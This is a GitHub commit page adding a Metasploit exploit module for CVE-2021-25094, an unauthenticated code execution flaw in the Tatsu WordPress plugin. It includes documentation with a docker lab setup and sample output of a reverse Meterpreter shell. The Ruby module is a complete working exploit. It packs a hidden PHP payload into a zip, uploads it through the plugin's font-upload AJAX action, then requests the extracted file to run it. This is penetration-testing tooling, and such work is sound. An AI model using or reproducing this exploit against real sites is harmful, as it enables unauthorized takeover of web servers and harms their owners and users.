Skip to content

Commit 6d84338

Browse files
authored
Merge pull request #20301 from msutovsky-r7/exploit/cve-2021-25094
Adds module for Tatsu WP plugin (CVE-2021-25094)
2 parents f91f525 + afdad8e commit 6d84338

File tree

3 files changed

+209
-0
lines changed

3 files changed

+209
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,7 @@ slideshow-gallery
4646
sp-client-document-manager
4747
subscribe-to-comments
4848
suretriggers
49+
tatsu
4950
ultimate-member
5051
user-registration
5152
user-registration-pro
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
## Vulnerable Application
2+
3+
This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11.
4+
The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory.
5+
Then module will trigger the payload by sending request with payload directory as URI.
6+
The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
7+
8+
## Verification Steps
9+
10+
11+
1. Install the application
12+
1.1 Create `docker-compose.yml`
13+
```yaml
14+
services:
15+
16+
wordpress:
17+
image: wordpress:6.3.2
18+
restart: always
19+
ports:
20+
- 5555:80
21+
environment:
22+
WORDPRESS_DB_HOST: db
23+
WORDPRESS_DB_USER: ms
24+
WORDPRESS_DB_PASSWORD: supersecret
25+
WORDPRESS_DB_NAME: proof_of_concept
26+
volumes:
27+
- wordpress:/var/www/html
28+
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
29+
30+
db:
31+
image: mysql:5.7
32+
restart: always
33+
environment:
34+
MYSQL_DATABASE: proof_of_concept
35+
MYSQL_USER: ms
36+
MYSQL_PASSWORD: supersecret
37+
MYSQL_ROOT_PASSWORD: supersecret
38+
volumes:
39+
- db:/var/lib/mysql
40+
41+
volumes:
42+
wordpress:
43+
db:
44+
45+
```
46+
1.2 Download [plugin](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
47+
1.3 Install the plugin in Wordpress admin portal
48+
49+
2. `msfconsole`
50+
3. `use multi/http/wp_tatsu_rce`
51+
4. `set RHOST [target IP]`
52+
5. `set RPORT [target PORT]`
53+
6. `set LHOST [attacker's IP]`
54+
7. `set LPORT [attacker's port]`
55+
56+
## Options
57+
58+
59+
## Scenarios
60+
61+
62+
Vulnerable version is <= 3.3.11.
63+
64+
```
65+
`msf6 exploit(multi/http/wp_tatsu_rce) > run
66+
[*] Started reverse TCP handler on 192.168.168.128:4444
67+
[*] Sending stage (40004 bytes) to 172.18.0.2
68+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 172.18.0.2:37718) at 2025-06-11 18:59:35 +0200
69+
[*] Starting interaction with 2...
70+
71+
meterpreter > sysinfo
72+
Computer : ff0d55ec29bf
73+
OS : Linux ff0d55ec29bf 6.12.10-76061203-generic #202412060638~1748542656~22.04~663e4dc SMP PREEMPT_DYNAMIC Thu M x86_64
74+
Meterpreter : php/linux
75+
meterpreter >
76+
```
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HTTP::Wordpress
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Tatsu Wordpress Plugin RCE',
20+
'Description' => %q{
21+
This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
22+
},
23+
'Author' => [
24+
'Vincent Michel', # Vulnerability discovery
25+
'msutovsky-r7' # Metasploit module
26+
],
27+
'References' => [
28+
['CVE', '2021-25094'],
29+
['EDB', '52260']
30+
],
31+
'License' => MSF_LICENSE,
32+
'Privileged' => false,
33+
'Platform' => %w[php],
34+
'Arch' => [ARCH_PHP],
35+
'Targets' => [
36+
[
37+
'PHP',
38+
{
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP
41+
# tested with php/meterpreter/reverse_tcp
42+
}
43+
]
44+
],
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => '2022-04-25',
47+
'Notes' => {
48+
'Stability' => [CRASH_SAFE],
49+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
50+
'Reliability' => [REPEATABLE_SESSION]
51+
}
52+
)
53+
)
54+
end
55+
56+
def create_zip
57+
zip_file = Rex::Zip::Archive.new
58+
@payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
59+
zip_file.add_file(@payload_file, payload.encoded)
60+
zip_file.pack
61+
end
62+
63+
def upload_malicious_zip
64+
zip_payload = create_zip
65+
66+
boundary = Rex::Text.rand_text_alphanumeric(32).to_s
67+
68+
data_post = "--#{boundary}\r\n"
69+
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
70+
data_post << "add_custom_font\r\n"
71+
data_post << "--#{boundary}\r\n"
72+
73+
data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
74+
data_post << "#{zip_payload}\r\n"
75+
data_post << "--#{boundary}--\r\n"
76+
77+
res = send_request_cgi({
78+
'method' => 'POST',
79+
'uri' => normalize_uri('wp-admin/admin-ajax.php'),
80+
'ctype' => "multipart/form-data; boundary=#{boundary}",
81+
'data' => data_post
82+
})
83+
84+
fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
85+
json_content = res.get_json_document
86+
87+
fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'
88+
89+
@zip_name = json_content.fetch('name', nil)
90+
91+
fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
92+
end
93+
94+
def trigger_payload
95+
send_request_cgi({
96+
'method' => 'POST',
97+
'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
98+
})
99+
end
100+
101+
def check
102+
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
103+
104+
wp_version = wordpress_version
105+
print_status("Detected WordPress version: #{wp_version}") if wp_version
106+
107+
res = send_request_cgi({
108+
'method' => 'GET',
109+
'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
110+
})
111+
112+
return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200
113+
114+
changelog_body = res.body
115+
116+
return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?
117+
118+
return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
119+
120+
version = Rex::Version.new(Regexp.last_match(1))
121+
122+
return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')
123+
124+
return CheckCode::Safe('Patched version detected')
125+
end
126+
127+
def exploit
128+
upload_malicious_zip
129+
trigger_payload
130+
end
131+
132+
end

0 commit comments

Comments
 (0)